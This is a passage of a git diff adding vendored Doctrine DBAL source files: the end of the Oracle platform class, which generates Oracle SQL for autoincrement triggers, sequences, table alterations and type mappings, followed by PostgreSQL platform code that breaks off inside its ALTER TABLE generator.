'CREATE TRIGGER ' . $autoincrementIdentifierName . ' + BEFORE INSERT + ON ' . $quotedTableName . ' + FOR EACH ROW +DECLARE + last_Sequence NUMBER; + last_InsertID NUMBER; +BEGIN + IF (:NEW.' . $quotedName . ' IS NULL OR :NEW.' . $quotedName . ' = 0) THEN + SELECT ' . $sequenceName . '.NEXTVAL INTO :NEW.' . $quotedName . ' FROM DUAL; + ELSE + SELECT NVL(Last_Number, 0) INTO last_Sequence + FROM User_Sequences + WHERE Sequence_Name = \'' . $sequence->getName() . '\'; + SELECT :NEW.' . $quotedName . ' INTO last_InsertID FROM DUAL; + WHILE (last_InsertID > last_Sequence) LOOP + SELECT ' . $sequenceName . '.NEXTVAL INTO last_Sequence FROM DUAL; + END LOOP; + SELECT ' . $sequenceName . '.NEXTVAL INTO last_Sequence FROM DUAL; + END IF; +END;'; + + return $sql; + } + + /** + * @internal The method should be only used from within the OracleSchemaManager class hierarchy. + * + * Returns the SQL statements to drop the autoincrement for the given table name. + * + * @param string $table The table name to drop the autoincrement for. + * + * @return string[] + */ + public function getDropAutoincrementSql($table) + { + $table = $this->normalizeIdentifier($table); + $autoincrementIdentifierName = $this->getAutoincrementIdentifierName($table); + $identitySequenceName = $this->getIdentitySequenceName( + $table->isQuoted() ? $table->getQuotedName($this) : $table->getName(), + '', + ); + + return [ + 'DROP TRIGGER ' . $autoincrementIdentifierName, + $this->getDropSequenceSQL($identitySequenceName), + $this->getDropConstraintSQL($autoincrementIdentifierName, $table->getQuotedName($this)), + ]; + } + + /** + * Normalizes the given identifier. + * + * Uppercases the given identifier if it is not quoted by intention + * to reflect Oracle's internal auto uppercasing strategy of unquoted identifiers. + * + * @param string $name The identifier to normalize. + */ + private function normalizeIdentifier($name): Identifier + { + $identifier = new Identifier($name); + + return $identifier->isQuoted() ? $identifier : new Identifier(strtoupper($name)); + } + + /** + * Adds suffix to identifier, + * + * if the new string exceeds max identifier length, + * keeps $suffix, cuts from $identifier as much as the part exceeding. + */ + private function addSuffix(string $identifier, string $suffix): string + { + $maxPossibleLengthWithoutSuffix = $this->getMaxIdentifierLength() - strlen($suffix); + if (strlen($identifier) > $maxPossibleLengthWithoutSuffix) { + $identifier = substr($identifier, 0, $maxPossibleLengthWithoutSuffix); + } + + return $identifier . $suffix; + } + + /** + * Returns the autoincrement primary key identifier name for the given table identifier. + * + * Quotes the autoincrement primary key identifier name + * if the given table name is quoted by intention. + */ + private function getAutoincrementIdentifierName(Identifier $table): string + { + $identifierName = $this->addSuffix($table->getName(), '_AI_PK'); + + return $table->isQuoted() + ? $this->quoteSingleIdentifier($identifierName) + : $identifierName; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTableForeignKeysSQL($table) + { + $table = $this->normalizeIdentifier($table); + $table = $this->quoteStringLiteral($table->getName()); + + return "SELECT alc.constraint_name, + alc.DELETE_RULE, + cols.column_name \"local_column\", + cols.position, + ( + SELECT r_cols.table_name + FROM user_cons_columns r_cols + WHERE alc.r_constraint_name = r_cols.constraint_name + AND r_cols.position = cols.position + ) AS \"references_table\", + ( + SELECT r_cols.column_name + FROM user_cons_columns r_cols + WHERE alc.r_constraint_name = r_cols.constraint_name + AND r_cols.position = cols.position + ) AS \"foreign_column\" + FROM user_cons_columns cols + JOIN user_constraints alc + ON alc.constraint_name = cols.constraint_name + AND alc.constraint_type = 'R' + AND alc.table_name = " . $table . ' + ORDER BY cols.constraint_name ASC, cols.position ASC'; + } + + /** + * @deprecated + * + * {@inheritDoc} + */ + public function getListTableConstraintsSQL($table) + { + $table = $this->normalizeIdentifier($table); + $table = $this->quoteStringLiteral($table->getName()); + + return 'SELECT * FROM user_constraints WHERE table_name = ' . $table; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTableColumnsSQL($table, $database = null) + { + $table = $this->normalizeIdentifier($table); + $table = $this->quoteStringLiteral($table->getName()); + + $tabColumnsTableName = 'user_tab_columns'; + $colCommentsTableName = 'user_col_comments'; + $tabColumnsOwnerCondition = ''; + $colCommentsOwnerCondition = ''; + + if ($database !== null && $database !== '/') { + $database = $this->normalizeIdentifier($database); + $database = $this->quoteStringLiteral($database->getName()); + $tabColumnsTableName = 'all_tab_columns'; + $colCommentsTableName = 'all_col_comments'; + $tabColumnsOwnerCondition = ' AND c.owner = ' . $database; + $colCommentsOwnerCondition = ' AND d.OWNER = c.OWNER'; + } + + return sprintf( + <<<'SQL' +SELECT c.*, + ( + SELECT d.comments + FROM %s d + WHERE d.TABLE_NAME = c.TABLE_NAME%s + AND d.COLUMN_NAME = c.COLUMN_NAME + ) AS comments +FROM %s c +WHERE c.table_name = %s%s +ORDER BY c.column_id +SQL + , + $colCommentsTableName, + $colCommentsOwnerCondition, + $tabColumnsTableName, + $table, + $tabColumnsOwnerCondition, + ); + } + + /** + * {@inheritDoc} + */ + public function getDropForeignKeySQL($foreignKey, $table) + { + if ($foreignKey instanceof ForeignKeyConstraint) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $foreignKey as a ForeignKeyConstraint object to %s is deprecated.' + . ' Pass it as a quoted name instead.', + __METHOD__, + ); + } else { + $foreignKey = new Identifier($foreignKey); + } + + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + } else { + $table = new Identifier($table); + } + + $foreignKey = $foreignKey->getQuotedName($this); + $table = $table->getQuotedName($this); + + return 'ALTER TABLE ' . $table . ' DROP CONSTRAINT ' . $foreignKey; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getAdvancedForeignKeyOptionsSQL(ForeignKeyConstraint $foreignKey) + { + $referentialAction = ''; + + if ($foreignKey->hasOption('onDelete')) { + $referentialAction = $this->getForeignKeyReferentialActionSQL($foreignKey->getOption('onDelete')); + } + + if ($referentialAction !== '') { + return ' ON DELETE ' . $referentialAction; + } + + return ''; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getForeignKeyReferentialActionSQL($action) + { + $action = strtoupper($action); + + switch ($action) { + case 'RESTRICT': // RESTRICT is not supported, therefore falling back to NO ACTION. + case 'NO ACTION': + // NO ACTION cannot be declared explicitly, + // therefore returning empty string to indicate to OMIT the referential clause. + return ''; + + case 'CASCADE': + case 'SET NULL': + return $action; + + default: + // SET DEFAULT is not supported, throw exception instead. + throw new InvalidArgumentException('Invalid foreign key action: ' . $action); + } + } + + /** + * {@inheritDoc} + */ + public function getCreateDatabaseSQL($name) + { + return 'CREATE USER ' . $name; + } + + /** + * {@inheritDoc} + */ + public function getDropDatabaseSQL($name) + { + return 'DROP USER ' . $name . ' CASCADE'; + } + + /** + * {@inheritDoc} + */ + public function getAlterTableSQL(TableDiff $diff) + { + $sql = []; + $commentsSQL = []; + $columnSql = []; + + $fields = []; + + $tableNameSQL = ($diff->getOldTable() ?? $diff->getName($this))->getQuotedName($this); + + foreach ($diff->getAddedColumns() as $column) { + if ($this->onSchemaAlterTableAddColumn($column, $diff, $columnSql)) { + continue; + } + + $fields[] = $this->getColumnDeclarationSQL($column->getQuotedName($this), $column->toArray()); + $comment = $this->getColumnComment($column); + + if ($comment === null || $comment === '') { + continue; + } + + $commentsSQL[] = $this->getCommentOnColumnSQL( + $tableNameSQL, + $column->getQuotedName($this), + $comment, + ); + } + + if (count($fields) > 0) { + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' ADD (' . implode(', ', $fields) . ')'; + } + + $fields = []; + foreach ($diff->getModifiedColumns() as $columnDiff) { + if ($this->onSchemaAlterTableChangeColumn($columnDiff, $diff, $columnSql)) { + continue; + } + + $newColumn = $columnDiff->getNewColumn(); + + // Do not generate column alteration clause if type is binary and only fixed property has changed. + // Oracle only supports binary type columns with variable length. + // Avoids unnecessary table alteration statements. + if ( + $newColumn->getType() instanceof BinaryType && + $columnDiff->hasFixedChanged() && + count($columnDiff->changedProperties) === 1 + ) { + continue; + } + + $columnHasChangedComment = $columnDiff->hasCommentChanged(); + + /** + * Do not add query part if only comment has changed + */ + if (! ($columnHasChangedComment && count($columnDiff->changedProperties) === 1)) { + $newColumnProperties = $newColumn->toArray(); + + if (! $columnDiff->hasNotNullChanged()) { + unset($newColumnProperties['notnull']); + } + + $fields[] = $newColumn->getQuotedName($this) . $this->getColumnDeclarationSQL('', $newColumnProperties); + } + + if (! $columnHasChangedComment) { + continue; + } + + $commentsSQL[] = $this->getCommentOnColumnSQL( + $tableNameSQL, + $newColumn->getQuotedName($this), + $this->getColumnComment($newColumn), + ); + } + + if (count($fields) > 0) { + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' MODIFY (' . implode(', ', $fields) . ')'; + } + + foreach ($diff->getRenamedColumns() as $oldColumnName => $column) { + if ($this->onSchemaAlterTableRenameColumn($oldColumnName, $column, $diff, $columnSql)) { + continue; + } + + $oldColumnName = new Identifier($oldColumnName); + + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' RENAME COLUMN ' . $oldColumnName->getQuotedName($this) + . ' TO ' . $column->getQuotedName($this); + } + + $fields = []; + foreach ($diff->getDroppedColumns() as $column) { + if ($this->onSchemaAlterTableRemoveColumn($column, $diff, $columnSql)) { + continue; + } + + $fields[] = $column->getQuotedName($this); + } + + if (count($fields) > 0) { + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' DROP (' . implode(', ', $fields) . ')'; + } + + $tableSql = []; + + if (! $this->onSchemaAlterTable($diff, $tableSql)) { + $sql = array_merge($sql, $commentsSQL); + + $newName = $diff->getNewName(); + + if ($newName !== false) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5663', + 'Generation of "rename table" SQL using %s is deprecated. Use getRenameTableSQL() instead.', + __METHOD__, + ); + + $sql[] = sprintf( + 'ALTER TABLE %s RENAME TO %s', + $tableNameSQL, + $newName->getQuotedName($this), + ); + } + + $sql = array_merge( + $this->getPreAlterTableIndexForeignKeySQL($diff), + $sql, + $this->getPostAlterTableIndexForeignKeySQL($diff), + ); + } + + return array_merge($sql, $tableSql, $columnSql); + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getColumnDeclarationSQL($name, array $column) + { + if (isset($column['columnDefinition'])) { + $columnDef = $this->getCustomTypeDeclarationSQL($column); + } else { + $default = $this->getDefaultValueDeclarationSQL($column); + + $notnull = ''; + + if (isset($column['notnull'])) { + $notnull = $column['notnull'] ? ' NOT NULL' : ' NULL'; + } + + if (! empty($column['unique'])) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5656', + 'The usage of the "unique" column property is deprecated. Use unique constraints instead.', + ); + + $unique = ' ' . $this->getUniqueFieldDeclarationSQL(); + } else { + $unique = ''; + } + + if (! empty($column['check'])) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5656', + 'The usage of the "check" column property is deprecated.', + ); + + $check = ' ' . $column['check']; + } else { + $check = ''; + } + + $typeDecl = $column['type']->getSQLDeclaration($column, $this); + $columnDef = $typeDecl . $default . $notnull . $unique . $check; + } + + return $name . ' ' . $columnDef; + } + + /** + * {@inheritDoc} + */ + protected function getRenameIndexSQL($oldIndexName, Index $index, $tableName) + { + if (strpos($tableName, '.') !== false) { + [$schema] = explode('.', $tableName); + $oldIndexName = $schema . '.' . $oldIndexName; + } + + return ['ALTER INDEX ' . $oldIndexName . ' RENAME TO ' . $index->getQuotedName($this)]; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function usesSequenceEmulatedIdentityColumns() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5513', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the OraclePlatform class hierarchy. + */ + public function getIdentitySequenceName($tableName, $columnName) + { + $table = new Identifier($tableName); + + // No usage of column name to preserve BC compatibility with <2.5 + $identitySequenceName = $this->addSuffix($table->getName(), '_SEQ'); + + if ($table->isQuoted()) { + $identitySequenceName = '"' . $identitySequenceName . '"'; + } + + $identitySequenceIdentifier = $this->normalizeIdentifier($identitySequenceName); + + return $identitySequenceIdentifier->getQuotedName($this); + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function supportsCommentOnStatement() + { + return true; + } + + /** + * {@inheritDoc} + */ + public function getName() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4749', + 'OraclePlatform::getName() is deprecated. Identify platforms by their class.', + ); + + return 'oracle'; + } + + /** + * {@inheritDoc} + */ + protected function doModifyLimitQuery($query, $limit, $offset) + { + if ($limit === null && $offset <= 0) { + return $query; + } + + if (preg_match('/^\s*SELECT/i', $query) === 1) { + if (preg_match('/\sFROM\s/i', $query) === 0) { + $query .= ' FROM dual'; + } + + $columns = ['a.*']; + + if ($offset > 0) { + $columns[] = 'ROWNUM AS doctrine_rownum'; + } + + $query = sprintf('SELECT %s FROM (%s) a', implode(', ', $columns), $query); + + if ($limit !== null) { + $query .= sprintf(' WHERE ROWNUM <= %d', $offset + $limit); + } + + if ($offset > 0) { + $query = sprintf('SELECT * FROM (%s) WHERE doctrine_rownum >= %d', $query, $offset + 1); + } + } + + return $query; + } + + /** + * {@inheritDoc} + */ + public function getCreateTemporaryTableSnippetSQL() + { + return 'CREATE GLOBAL TEMPORARY TABLE'; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTzFormatString() + { + return 'Y-m-d H:i:sP'; + } + + /** + * {@inheritDoc} + */ + public function getDateFormatString() + { + return 'Y-m-d 00:00:00'; + } + + /** + * {@inheritDoc} + */ + public function getTimeFormatString() + { + return '1900-01-01 H:i:s'; + } + + /** + * {@inheritDoc} + */ + public function getMaxIdentifierLength() + { + return 30; + } + + /** + * {@inheritDoc} + */ + public function supportsSequences() + { + return true; + } + + /** + * {@inheritDoc} + */ + public function supportsReleaseSavepoints() + { + return false; + } + + /** + * {@inheritDoc} + */ + public function getTruncateTableSQL($tableName, $cascade = false) + { + $tableIdentifier = new Identifier($tableName); + + return 'TRUNCATE TABLE ' . $tableIdentifier->getQuotedName($this); + } + + /** + * {@inheritDoc} + */ + public function getDummySelectSQL() + { + $expression = func_num_args() > 0 ? func_get_arg(0) : '1'; + + return sprintf('SELECT %s FROM DUAL', $expression); + } + + /** + * {@inheritDoc} + */ + protected function initializeDoctrineTypeMappings() + { + $this->doctrineTypeMapping = [ + 'binary_double' => Types::FLOAT, + 'binary_float' => Types::FLOAT, + 'binary_integer' => Types::BOOLEAN, + 'blob' => Types::BLOB, + 'char' => Types::STRING, + 'clob' => Types::TEXT, + 'date' => Types::DATE_MUTABLE, + 'float' => Types::FLOAT, + 'integer' => Types::INTEGER, + 'long' => Types::STRING, + 'long raw' => Types::BLOB, + 'nchar' => Types::STRING, + 'nclob' => Types::TEXT, + 'number' => Types::INTEGER, + 'nvarchar2' => Types::STRING, + 'pls_integer' => Types::BOOLEAN, + 'raw' => Types::BINARY, + 'rowid' => Types::STRING, + 'timestamp' => Types::DATETIME_MUTABLE, + 'timestamptz' => Types::DATETIMETZ_MUTABLE, + 'urowid' => Types::STRING, + 'varchar' => Types::STRING, + 'varchar2' => Types::STRING, + ]; + } + + /** + * {@inheritDoc} + */ + public function releaseSavePoint($savepoint) + { + return ''; + } + + /** + * {@inheritDoc} + * + * @deprecated Implement {@see createReservedKeywordsList()} instead. + */ + protected function getReservedKeywordsClass() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4510', + 'OraclePlatform::getReservedKeywordsClass() is deprecated,' + . ' use OraclePlatform::createReservedKeywordsList() instead.', + ); + + return Keywords\OracleKeywords::class; + } + + /** + * {@inheritDoc} + */ + public function getBlobTypeDeclarationSQL(array $column) + { + return 'BLOB'; + } + + /** @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. */ + public function getListTableCommentsSQL(string $table, ?string $database = null): string + { + $tableCommentsName = 'user_tab_comments'; + $ownerCondition = ''; + + if ($database !== null && $database !== '/') { + $tableCommentsName = 'all_tab_comments'; + $ownerCondition = ' AND owner = ' . $this->quoteStringLiteral( + $this->normalizeIdentifier($database)->getName(), + ); + } + + return sprintf( + <<<'SQL' +SELECT comments FROM %s WHERE table_name = %s%s +SQL + , + $tableCommentsName, + $this->quoteStringLiteral($this->normalizeIdentifier($table)->getName()), + $ownerCondition, + ); + } + + public function createSchemaManager(Connection $connection): OracleSchemaManager + { + return new OracleSchemaManager($connection, $this); + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/PostgreSQL100Platform.php b/vendor/doctrine/dbal/src/Platforms/PostgreSQL100Platform.php new file mode 100644 index 000000000..aa023ba79 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/PostgreSQL100Platform.php @@ -0,0 +1,30 @@ + [ + 't', + 'true', + 'y', + 'yes', + 'on', + '1', + ], + 'false' => [ + 'f', + 'false', + 'n', + 'no', + 'off', + '0', + ], + ]; + + /** + * PostgreSQL has different behavior with some drivers + * with regard to how booleans have to be handled. + * + * Enables use of 'true'/'false' or otherwise 1 and 0 instead. + * + * @param bool $flag + * + * @return void + */ + public function setUseBooleanTrueFalseStrings($flag) + { + $this->useBooleanTrueFalseStrings = (bool) $flag; + } + + /** + * {@inheritDoc} + */ + public function getSubstringExpression($string, $start, $length = null) + { + if ($length === null) { + return 'SUBSTRING(' . $string . ' FROM ' . $start . ')'; + } + + return 'SUBSTRING(' . $string . ' FROM ' . $start . ' FOR ' . $length . ')'; + } + + /** + * {@inheritDoc} + * + * @deprecated Generate dates within the application. + */ + public function getNowExpression() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4753', + 'PostgreSQLPlatform::getNowExpression() is deprecated. Generate dates within the application.', + ); + + return 'LOCALTIMESTAMP(0)'; + } + + /** + * {@inheritDoc} + */ + public function getRegexpExpression() + { + return 'SIMILAR TO'; + } + + /** + * {@inheritDoc} + */ + public function getLocateExpression($str, $substr, $startPos = false) + { + if ($startPos !== false) { + $str = $this->getSubstringExpression($str, $startPos); + + return 'CASE WHEN (POSITION(' . $substr . ' IN ' . $str . ') = 0) THEN 0' + . ' ELSE (POSITION(' . $substr . ' IN ' . $str . ') + ' . $startPos . ' - 1) END'; + } + + return 'POSITION(' . $substr . ' IN ' . $str . ')'; + } + + /** + * {@inheritDoc} + */ + protected function getDateArithmeticIntervalExpression($date, $operator, $interval, $unit) + { + if ($unit === DateIntervalUnit::QUARTER) { + $interval *= 3; + $unit = DateIntervalUnit::MONTH; + } + + return '(' . $date . ' ' . $operator . ' (' . $interval . " || ' " . $unit . "')::interval)"; + } + + /** + * {@inheritDoc} + */ + public function getDateDiffExpression($date1, $date2) + { + return '(DATE(' . $date1 . ')-DATE(' . $date2 . '))'; + } + + public function getCurrentDatabaseExpression(): string + { + return 'CURRENT_DATABASE()'; + } + + /** + * {@inheritDoc} + */ + public function supportsSequences() + { + return true; + } + + /** + * {@inheritDoc} + */ + public function supportsSchemas() + { + return true; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getDefaultSchemaName() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5513', + '%s is deprecated.', + __METHOD__, + ); + + return 'public'; + } + + /** + * {@inheritDoc} + */ + public function supportsIdentityColumns() + { + return true; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function supportsPartialIndexes() + { + return true; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function usesSequenceEmulatedIdentityColumns() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5513', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getIdentitySequenceName($tableName, $columnName) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5513', + '%s is deprecated.', + __METHOD__, + ); + + return $tableName . '_' . $columnName . '_seq'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function supportsCommentOnStatement() + { + return true; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function hasNativeGuidType() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListDatabasesSQL() + { + return 'SELECT datname FROM pg_database'; + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see PostgreSQLSchemaManager::listSchemaNames()} instead. + */ + public function getListNamespacesSQL() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4503', + 'PostgreSQLPlatform::getListNamespacesSQL() is deprecated,' + . ' use PostgreSQLSchemaManager::listSchemaNames() instead.', + ); + + return "SELECT schema_name AS nspname + FROM information_schema.schemata + WHERE schema_name NOT LIKE 'pg\_%' + AND schema_name != 'information_schema'"; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListSequencesSQL($database) + { + return 'SELECT sequence_name AS relname, + sequence_schema AS schemaname, + minimum_value AS min_value, + increment AS increment_by + FROM information_schema.sequences + WHERE sequence_catalog = ' . $this->quoteStringLiteral($database) . " + AND sequence_schema NOT LIKE 'pg\_%' + AND sequence_schema != 'information_schema'"; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTablesSQL() + { + return "SELECT quote_ident(table_name) AS table_name, + table_schema AS schema_name + FROM information_schema.tables + WHERE table_schema NOT LIKE 'pg\_%' + AND table_schema != 'information_schema' + AND table_name != 'geometry_columns' + AND table_name != 'spatial_ref_sys' + AND table_type != 'VIEW'"; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListViewsSQL($database) + { + return 'SELECT quote_ident(table_name) AS viewname, + table_schema AS schemaname, + view_definition AS definition + FROM information_schema.views + WHERE view_definition IS NOT NULL'; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * @param string $table + * @param string|null $database + * + * @return string + */ + public function getListTableForeignKeysSQL($table, $database = null) + { + return 'SELECT quote_ident(r.conname) as conname, pg_catalog.pg_get_constraintdef(r.oid, true) as condef + FROM pg_catalog.pg_constraint r + WHERE r.conrelid = + ( + SELECT c.oid + FROM pg_catalog.pg_class c, pg_catalog.pg_namespace n + WHERE ' . $this->getTableWhereClause($table) . " AND n.oid = c.relnamespace + ) + AND r.contype = 'f'"; + } + + /** + * @deprecated + * + * {@inheritDoc} + */ + public function getListTableConstraintsSQL($table) + { + $table = new Identifier($table); + $table = $this->quoteStringLiteral($table->getName()); + + return sprintf( + <<<'SQL' +SELECT + quote_ident(relname) as relname +FROM + pg_class +WHERE oid IN ( + SELECT indexrelid + FROM pg_index, pg_class + WHERE pg_class.relname = %s + AND pg_class.oid = pg_index.indrelid + AND (indisunique = 't' OR indisprimary = 't') + ) +SQL + , + $table, + ); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + * + * @link http://ezcomponents.org/docs/api/trunk/DatabaseSchema/ezcDbSchemaPgsqlReader.html + */ + public function getListTableIndexesSQL($table, $database = null) + { + return 'SELECT quote_ident(relname) as relname, pg_index.indisunique, pg_index.indisprimary, + pg_index.indkey, pg_index.indrelid, + pg_get_expr(indpred, indrelid) AS where + FROM pg_class, pg_index + WHERE oid IN ( + SELECT indexrelid + FROM pg_index si, pg_class sc, pg_namespace sn + WHERE ' . $this->getTableWhereClause($table, 'sc', 'sn') . ' + AND sc.oid=si.indrelid AND sc.relnamespace = sn.oid + ) AND pg_index.indexrelid = oid'; + } + + /** + * @param string $table + * @param string $classAlias + * @param string $namespaceAlias + */ + private function getTableWhereClause($table, $classAlias = 'c', $namespaceAlias = 'n'): string + { + $whereClause = $namespaceAlias . ".nspname NOT IN ('pg_catalog', 'information_schema', 'pg_toast') AND "; + if (strpos($table, '.') !== false) { + [$schema, $table] = explode('.', $table); + $schema = $this->quoteStringLiteral($schema); + } else { + $schema = 'ANY(current_schemas(false))'; + } + + $table = new Identifier($table); + $table = $this->quoteStringLiteral($table->getName()); + + return $whereClause . sprintf( + '%s.relname = %s AND %s.nspname = %s', + $classAlias, + $table, + $namespaceAlias, + $schema, + ); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTableColumnsSQL($table, $database = null) + { + return "SELECT + a.attnum, + quote_ident(a.attname) AS field, + t.typname AS type, + format_type(a.atttypid, a.atttypmod) AS complete_type, + (SELECT tc.collcollate FROM pg_catalog.pg_collation tc WHERE tc.oid = a.attcollation) AS collation, + (SELECT t1.typname FROM pg_catalog.pg_type t1 WHERE t1.oid = t.typbasetype) AS domain_type, + (SELECT format_type(t2.typbasetype, t2.typtypmod) FROM + pg_catalog.pg_type t2 WHERE t2.typtype = 'd' AND t2.oid = a.atttypid) AS domain_complete_type, + a.attnotnull AS isnotnull, + (SELECT 't' + FROM pg_index + WHERE c.oid = pg_index.indrelid + AND pg_index.indkey[0] = a.attnum + AND pg_index.indisprimary = 't' + ) AS pri, + (SELECT pg_get_expr(adbin, adrelid) + FROM pg_attrdef + WHERE c.oid = pg_attrdef.adrelid + AND pg_attrdef.adnum=a.attnum + ) AS default, + (SELECT pg_description.description + FROM pg_description WHERE pg_description.objoid = c.oid AND a.attnum = pg_description.objsubid + ) AS comment + FROM pg_attribute a, pg_class c, pg_type t, pg_namespace n + WHERE " . $this->getTableWhereClause($table, 'c', 'n') . ' + AND a.attnum > 0 + AND a.attrelid = c.oid + AND a.atttypid = t.oid + AND n.oid = c.relnamespace + ORDER BY a.attnum'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getAdvancedForeignKeyOptionsSQL(ForeignKeyConstraint $foreignKey) + { + $query = ''; + + if ($foreignKey->hasOption('match')) { + $query .= ' MATCH ' . $foreignKey->getOption('match'); + } + + $query .= parent::getAdvancedForeignKeyOptionsSQL($foreignKey); + + if ($foreignKey->hasOption('deferrable') && $foreignKey->getOption('deferrable') !== false) { + $query .= ' DEFERRABLE'; + } else { + $query .= ' NOT DEFERRABLE'; + } + + if ( + ($foreignKey->hasOption('feferred') && $foreignKey->getOption('feferred') !== false) + || ($foreignKey->hasOption('deferred') && $foreignKey->getOption('deferred') !== false) + ) { + $query .= ' INITIALLY DEFERRED'; + } else { + $query .= ' INITIALLY IMMEDIATE'; + } + + return $query; + } + + /** + * {@inheritDoc} + */ + public function getAlterTableSQL(TableDiff $diff) + { + $sql = []; + $commentsSQL = []; + $columnSql = []; + + $table = $diff->getOldTable() ?? $diff->getName($this); + + $tableNameSQL = $table->getQuotedName($this); + + foreach ($diff->getAddedColumns() as $addedColumn) { + if ($this->onSchemaAlterTableAddColumn($addedColumn, $diff, $columnSql)) { + continue; + } + + $query = 'ADD ' . $this->getColumnDeclarationSQL( + $addedColumn->getQuotedName($this), + $addedColumn->toArray(), + ); + + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' ' . $query; + + $comment = $this->getColumnComment($addedColumn); + + if ($comment === null || $comment === '') { + continue; + } + + $commentsSQL[] = $this->getCommentOnColumnSQL( + $tableNameSQL, + $addedColumn->getQuotedName($this), + $comment, + ); + } + + foreach ($diff->getDroppedColumns() as $droppedColumn) { + if ($this->onSchemaAlterTableRemoveColumn($droppedColumn, $diff, $columnSql)) { + continue; + } + + $query = 'DROP ' . $droppedColumn->getQuotedName($this); + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' ' . $query; + } + + foreach ($diff->getModifiedColumns() as $columnDiff) { + if ($this->onSchemaAlterTableChangeColumn($columnDiff, $diff, $columnSql)) { + continue; + } + + if ($this->isUnchangedBinaryColumn($columnDiff)) { + continue; + } + + $oldColumn = $columnDiff->getOldColumn() ?? $columnDiff->getOldColumnName(); + $newColumn = $columnDiff->getNewColumn(); + + $oldColumnName = $oldColumn->getQuotedName($this); + + if ( + $columnDiff->hasTypeChanged() + || $columnDiff->hasPrecisionChanged() + || $columnDiff->hasScaleChanged() + || $columnDiff->hasFixedChanged() + ) { + $type = $newColumn->getType(); + + // SERIAL/BIGSERIAL are not "real" types and we can't alter a column to that type + $columnDefinition = $newColumn->toArray(); + $columnDefinition['autoincrement'] = false; + + // here was a server version check before, but DBAL API does not support this anymore. + $query = 'ALTER ' . $oldColumnName . ' TYPE ' . $type->getSQLDeclaration($columnDefinition, $this); + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' ' . $query; + } + + if ($columnDiff->hasDefaultChanged()) { + $defaultClause = $newColumn->getDefault() === null + ? ' DROP DEFAULT' + : ' SET' . $this->getDefaultValueDeclarationSQL($newColumn->toArray()); + + $query = 'ALTER ' . $oldColumnName . $defaultClause; + $sql[] = 'ALTER TABLE ' . $tableNameSQL . ' ' . $query; + } + + if 